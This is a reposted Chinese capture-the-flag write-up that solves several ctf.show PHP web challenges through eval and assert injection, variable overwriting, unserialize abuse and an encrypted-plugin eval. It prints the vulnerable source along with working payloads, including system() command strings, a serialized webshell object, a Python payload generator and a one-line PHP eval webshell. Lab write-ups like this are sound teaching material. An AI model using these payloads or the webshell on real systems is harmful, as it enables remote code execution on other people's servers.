目录
web签到
-
<?php
-
-
-
error_reporting(
0);
-
highlight_file(
__FILE__);
-
-
eval(
$_REQUEST[
$_GET[
$_POST[
$_COOKIE[
'CTFshow-QQ群:']]]][
6][
0][
7][
5][
8][
0][
9][
4][
4]);
http://d0255dc2-b1c4-4916-95b0-a3cfe0495d40.challenge.ctf.show/?b=c&c[0]=1&c[6][0][7][5][8][0][9][4][4]=system("cat /f1agaaa");
post: a=b
cookie:CTFshow-QQ%E7%BE%A4:a
把群进行url编码就可以
这样的话cookie传入 =a ,然后破石头 a=b ,get b=c,request可以接收post和get请求,最后c因为用数组传参所以要带上后面的东西
一言既出
-
<?php
-
highlight_file(
__FILE__);
-
include
"flag.php";
-
if (
isset(
$_GET[
'num'])){
-
if (
$_GET[
'num'] ==
114514){
-
assert(
"intval($_GET[num])==1919810")
or
die(
"一言既出,驷马难追!");
-
echo
$flag;
-
}
-
}
看到一些危险的执行函数就要注意,就会执行后面的东西,
intval(114514);//) 输入114514);//
就会执行里面的内容然后注释掉了后面的全部内容,输出flag
驷马难追
-
<?php
-
highlight_file(
__FILE__);
-
include
"flag.php";
-
if (
isset(
$_GET[
'num'])){
-
if (
$_GET[
'num'] ==
114514 &&
check(
$_GET[
'num'])){
-
assert(
"intval($_GET[num])==1919810")
or
die(
"一言既出,驷马难追!");
-
echo
$flag;
-
}
-
}
-
-
function check($str){
-
return !
preg_match(
"/[a-z]|\;|\(|\)/",
$str);
-
}
和上一个没太大的区别,就增加了一层过滤,然后注释掉了括号
这个采用?num=114514%2b1805296的方法
%2b是加号的意思,
web2 c0me_t0_s1gn
跟着提示,控制台运行就会得出
我的眼里只有$
-
<?php
-
error_reporting(
0);
-
extract(
$_POST);
-
eval(
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
-
highlight_file(
__FILE__);
假如_=a $_=a ,如果这时候传入a=b $$a=b, $有点多用脚本把
一共有36个$和一共_,需要在_的基础上加上36层
-
import
string
-
-
-
a=
'_=a&'
-
code=
"system('ls /');"
-
for i in
range(
35):
-
a+=s[i]+
"="+s[i+
1]+
"&"
-
a+=s[i]+
"="+code
-
print(a)
i一开始从0开始 34结束所以最后结尾会加上一个35,s=string.ascii_letters是字母从下标0开始
TAPTAPTAP
翻到源码,直接base64解密,
访问获得flag
Webshell
-
<?php
-
error_reporting(
0);
-
-
class Webshell {
-
public
$cmd =
'echo "Hello World!"';
-
-
public
function __construct() {
-
$this->
init();
-
}
-
-
public
function init() {
-
if (!
preg_match(
'/flag/i',
$this->cmd)) {
-
$this->
exec(
$this->cmd);
-
}
-
}
-
-
public
function exec($cmd) {
-
$result =
shell_exec(
$cmd);
-
echo
$result;
-
}
-
}
-
-
if(
isset(
$_GET[
'cmd'])) {
-
$serializecmd =
$_GET[
'cmd'];
-
$unserializecmd =
unserialize(
$serializecmd);
-
$unserializecmd->
init();
-
}
-
else {
-
highlight_file(
__FILE__);
-
}
-
-
?>
直接给cmd赋值就可以了,然后shell_exec执行,输出只不过输出是在源代码中输出的
-
<?php
-
class Webshell {
-
public
$cmd =
"cat f*";
-
}
-
$W=
new
Webshell();
-
echo
serialize(
$W);
获得flag
化零为整
-
<?php
-
-
highlight_file(
__FILE__);
-
include
"flag.php";
-
-
$result=
'';
-
-
for (
$i=
1;
$i<=
count(
$_GET);
$i++){
-
-
if (
strlen(
$_GET[
$i])>
1){
-
die(
"你太长了!!");
-
}
-
else{
-
$result=
$result.
$_GET[
$i];
-
}
-
}
-
-
if (
$result ===
"大牛"){
-
echo
$flag;
-
}
count($_GET)
首先这里就是统计get传参的个数比如,?a=1 值为1 a=1&b=2 就为2了
strlen($_GET[$i])>1
首先strlen是统计字节的个数,%4e这样的形式只占用一个字节,是统计 a=%4e统计等号的右边
所以这道题考虑用汉字的url编码绕过,一个汉字有3位url编码,然后用1-6
?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
无一幸免
-
<?php
-
include
"flag.php";
-
highlight_file(
__FILE__);
-
-
if (
isset(
$_GET[
'0'])){
-
$arr[
$_GET[
'0']]=
1;
-
if (
$arr[]=
1){
-
die(
$flag);
-
}
-
else{
-
die(
"nonono!");
-
}
-
}
这道题其实,看if($arr[]=1)这个等于号,是一个所以这是一个赋值的操作,肯定为true会进行die的操作,所以0=1随便赋值
遍地飘零
-
<?php
-
include
"flag.php";
-
highlight_file(
__FILE__);
-
-
$zeros=
"000000000000000000000000000000";
-
-
foreach(
$_GET
as
$key =>
$value){
-
$$key=
$$value;
-
}
-
-
if (
$flag==
"000000000000000000000000000000"){
-
echo
"好多零";
-
}
else{
-
echo
"没有零,仔细看看输入有什么问题吧";
-
var_dump(
$_GET);
-
}
变量覆盖的题目payload:?_GET=flag
传说之下(雾)
打开之后是一个小游戏,一般这样都考察js前端
然后往上面翻找到了这个
this当前的为Game类,
直接在控制太输出Game.score=3000 改变类中的属性,获得flag
Is_Not_Obfuscate
打开界面查看源码
首先看到,decode,这是解密的说明会有一段加密的东西
如果action=test会执行,然后看下面有个robots.txt,访问
flag=0没东西,flag=1发现有一段加密后的源码
eJwNkze2o0AABA9EAAI0gmADGGEGEE74DI/w3p1+/wX69euqzpVDJ2a/GkWO4z4QQpnTUq9P5fFd3Uu+YvM2ht+ZXSvYiLXq0o8zaUZ/KSKHeeauPge1HS1rQOaCRvmX5oevKRQajpkc1lMgFhD9uJCH4CSDtZnx8zALzJLhLR2K+WAbhIjf62yY9EFNAfOklJvHScguku8Y5yhtuZSeNGY1vr+NHn6Jn3MYCnm/z9GbI9TH0XZfPPoqqZRrKo48Gdz+odPf29M09uAXmYMftuX5lbIg586dsj8IPGvx3sRUZROiNLXSiM4s1dil6jpvB8cst8uk6ftkZcIF9tF4N0l7mIhew6On6LVPiWk7YaFYcBSI+CLjlUx0heeixgqiWcRtNyHMfs64sx7oVEPY4ZVZg/EmgnR+x6othXTZ2ZGQsEYvRa/U1LaK/4D7Op3ZKrKFnzAs01qSCbbf+P097nH5uUElYiGbytryRvxAe4t1V5PA2dkKlweEANhJ+DU5vzz0+doHA+3opUlU80ol9Ghxas7B3bayW892QCULlB3LuNEEaS2mp1LoXm8dTJAZgM3BGfCHNYbkODF0DqNXrFCMswdFjb9cCnMokKdNZnLUubhW0yA4h807ywaHFZvPxCuG05XdxV6nLiZapgdgHjFpXFbnrwz9LIzLCGMw+F7BHMJPheaGD3faUo71nCiV6QWQu0VW/O2DvG+eubaq5t1a5Y3tYJmti6soht26kuF7jUUg+vZz3guJPIhqEvujvCubvp9WFznqRBETu6RM8yssRUdkXOcelo3bvnM3onXcf9+kQvcSUbuwuEnWHYzn16/ewTo+gVIqv0+DNJC0YUGs9kWnS2+1sAvpdp6qe46VGHNv5Ehm8XNg9SPQyrFYwqRuQZZ/r2muD0WE4G5qRRQ8dnmkgxTVF7Zh61/yvmis14AVf3UwjoHywgVs7MNevg/tCL4JwsgHx6FLo0CANOoThXQcpMmu1ZcY+MB7L5c4S+5arvpFKn/GN4KvCEWYZ+r7inzI+ng3O1T0eaaqFmy63HfCz4xYWYn4PFjC7ukhBJfY7E+fPm6bO7/jSe+2SuGuZ5Crxj8yPiLLA1h61snzuxvqfM0ulqNmp/SzwQLyo5N5HVZEVzMdqY7RiEqT6/FOLji7N/7E3c+8ZLOGGQcDJMM5FARuDOfYyh09+M+I1Hdc+bCze4S0TuOa3j7orHPzP/BLQQLKt6c4cLZ42QbgJwmpowDmVjo/R6dyCuJbWwKGS8BVtzxfh2YhYu+r1n7mrY7nPTxszI6w/TWAErJEBVZwXlj33RDqfi+u45uVP292vZOCDP0RHKuVL20QeMwhqsY47fQ7ZuLeKP/9+w8pT7oT
然后input=加密传参,action=test,但是这里一直没成功,弄了好久才发现+被过滤掉了,需要一层的url 编码
-
Anything is good?Please test it.
<?php
-
header(
"Content-Type:text/html;charset=utf-8");
-
include
'lib.php';
-
if(!
is_dir(
'./plugins/')){
-
@
mkdir(
'./plugins/',
0777);
-
}
-
//Test it and delete it !!!
-
//测试执行加密后的插件代码
-
if(
$_GET[
'action'] ===
'test') {
-
echo
'Anything is good?Please test it.';
-
@
eval(
decode(
$_GET[
'input']));
-
}
-
-
ini_set(
'open_basedir',
'./plugins/');
-
if(!
empty(
$_GET[
'action'])){
-
switch (
$_GET[
'action']){
-
case
'pull':
-
$output = @
eval(
decode(
file_get_contents(
'./plugins/'.
$_GET[
'input'])));
-
echo
"pull success";
-
break;
-
case
'push':
-
$input =
file_put_contents(
'./plugins/'.
md5(
$_GET[
'output'].
'youyou'),
encode(
$_GET[
'output']));
-
echo
"push success";
-
break;
-
default:
-
die(
'hacker!');
-
}
-
}
获得了源码界面,从源码可以看出push 用于上传,一句话木马但是经过了链接youyou进行了加密
pull 用于接受一句话木马,只需要获得上传木马这个文件名就可以利用
<?php eval($_POST['shell']);?> 上传
预览输入这个32位小写
但是经过了实验,发现只有传参get才可以利用shell=system('ls /');,post不行
很奇特的点,学到了很多,题后续还会一直补充
转载:https://blog.csdn.net/qq_62046696/article/details/127872142